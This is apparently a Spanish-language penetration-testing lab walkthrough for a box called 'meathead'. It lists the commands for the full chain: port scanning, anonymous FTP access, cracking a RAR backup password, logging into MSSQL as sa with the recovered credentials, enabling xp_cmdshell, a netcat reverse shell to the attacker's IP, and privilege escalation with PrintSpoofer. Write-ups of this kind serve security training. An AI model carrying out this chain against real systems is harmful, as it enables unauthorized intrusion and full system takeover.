nmap -A -p- -oA meathead 192.168.198.70 --min-rate=10000 --script=vuln --script-timeout=15 -v

nmap -sC -sV -O -p- -oA meathead 192.168.198.70

nmap -sU -O -p- -oA meathead-udp 192.168.198.70

nikto -h 192.168.198.70:80

Pasted image 20210917152655.png

Pasted image 20210917153317.png Pasted image 20210917153357.png

whatweb http://192.168.198.70

Pasted image 20210917153558.png

Vemos en http://192.168.198.70 un login de plantronics

Pasted image 20210917153636.png

ftp -p 192.168.198.70 1221

Pasted image 20210917154247.png

Nos metemos con las credenciales anonymous:anonymous

get MSSQL_BAK.rar

unrar e MSSQL_BAK.rar

rar2john MSSQL_BAK.rar

Ponemos el hash en un archivo llamado hash

Pasted image 20210917155133.png

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Conseguimos la contrasena letmeinplease

Pasted image 20210917164604.png

cat mssql_backup.txt

sa:EjectFrailtyThorn425

Pasted image 20210917155740.png

python /opt/impacket/examples/mssqlclient.py -port 1435 sa:EjectFrailtyThorn425@192.168.198.70

Pasted image 20210917155946.png

sp_configure "show advanced", 1

sp_configure "xp_cmdshell", 1

reconfigure

xp_cmdshell "whoami"

Pasted image 20210917160726.png

cp /home/kali/Desktop/boxes/nc.exe .

Copiamos el binario de nc al folder principal

Pasted image 20210917162904.png

xp_cmdshell \\192.168.49.198\smbFolder\nc.exe -e cmd.exe 192.168.49.198 1221

nc -lvnp 1221

python3 /opt/impacket/examples/smbserver.py smbFolder $(pwd)

Pasted image 20210917162831.png

whoami /all

Vemos el SeImpersonatePrivilege habilitado. Usamos el PrintSpoofer

Pasted image 20210917163149.png

https://github.com/itm4n/PrintSpoofer/releases/tag/v1.0

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

Para encontrar la arquitectura de windows hacemos el siguiente comando de arriba.

Pasted image 20210917163811.png

cd C:\FTP

copy \\192.168.49.198\smbFolder\PrintSpoofer64.exe

Pasted image 20210917164802.png

PrintSpoofer64.exe -i -c cmd

Pasted image 20210917170806.png

type proof.txt

Pasted image 20210917171036.png

boxes

copyright©2022 Cu3rv0x all rights reserved